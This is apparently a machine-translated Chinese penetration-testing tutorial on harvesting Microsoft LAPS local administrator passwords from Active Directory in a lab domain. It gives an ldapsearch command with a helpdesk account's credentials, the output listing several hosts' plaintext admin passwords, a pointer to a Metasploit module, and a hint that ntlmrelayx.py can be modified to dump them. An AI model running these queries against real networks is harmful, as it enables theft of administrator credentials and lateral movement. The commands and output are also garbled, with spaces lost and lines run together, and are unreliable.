假如你以前有对启用LAPS如果机制的主机进行渗透测试,你应该能够意识到机制的随机本地管理员密码是多么痛苦。
LAPS将其信息存储在活动目录:
- 存储密码过期时间:ms-Mcs-AdmPwdExpirationTime: 131461867015760024
- 存储密码示的存储密码:ms-Mcs-AdmPwd: %v!e#7S#{s}) y2yS#(
LAPS在早期版本中,任何用户都可以阅读活动目录中的内容。幸运的是,微软已经修复了。目前,您必须获得对象的所有扩展权或完全控制权。
在复杂的真实环境中,内网主机也可能隐藏OU权限管理员,甚至是负责特定用户组的标准用户,拥有完全控制的权限。
得益于Meatballs开发的Metasploit模块:
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb 帮助我们完成这项工作。但我们不可能每次都打开一个。Meterpreter会话来运行这个模块?
使用ldapsearch(包含在Debian/Ubuntu的ldapscripts可用于构建与该模块相同的请求,以下是一个例子:
ldapsearch-x-h192.168.80.10-D\"helpdesk"-wASDqwe123-b"dc=sittingduck,dc=info"\"(ms-MCS-AdmPwd=*)"ms-MCS-AdmPwd解析:
- -x – 使用基本身份验证
- -h 192.168.80.10 – 将ldap连接到域控制器
- -D “helpdesk” -w ASDqwe123 – 以用户名helpdesk,密码ASDqwe123进行登录
- -b “dc=sittingduck,dc=info” – 加载整个域的基础LDAP对象
- “(ms-MCS-AdmPwd=*)” – 过滤掉所有看不见的东西ms-MCS-AdmPwd (只要有足够的权限,甚至可以获得Administrator密码)
- ms-MCS-AdmPwd – 仅显示ms-MCS-AdmPwd对象 (默认包括对象名和DN,所以你仍然可以知道主机的从属关系)
运行如下:
$ldapsearch-x-h192.168.80.10-D"helpdesk"-wASDqwe123-b"dc=sittingduck,dc=info""(ms-MCS-AdmPwd=*)"ms-MCS-AdmPwd#extendedLDIF##LDAPv3#base<dcdc=sittingduck,dc=info>withscopesubtree#filter:(ms-MCS-AdmPwd=*)#requesting:ms-MCS-AdmPwd##DC1,DomainControllers,sittingduck.infodn:CN=DC1,OU=DomainControllers,DC=sittingduck,DC=infoms-Mcs-AdmPwd:2F1i/ N0H G]{Y&,F#SDCLIENT_DAWIN7,LabComputers,Lab,sittingduck.infodn:CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd:8CDR4,2UE8BA{zw2@RR#SD_WSUS_2012,LabComputers,Lab,sittingduck.infodn:CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd: 3!UY5@g9B.64RV2z/T#WIN-PM0ID6F0AHN,LabComputers,Lab,sittingduck.infodn:CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=infoms-Mcs-AdmPwd:%v!e#7S#{s}) y2yS#(#searchreferenceref:ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info#searchreferenceref:ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,DC=info#searchreferenceref:ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,DC=info#searchreferenceref:ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info#searchresultsearch:2result:0Success从获取本地管理员密码到确定帐户是否启用,您可以使用它Kerberos身份验证Windows对中域控制器LDAP连接不需要证书验证(据我所知)ntlmrelayx.py一些小修改可以转储LAPS密码了。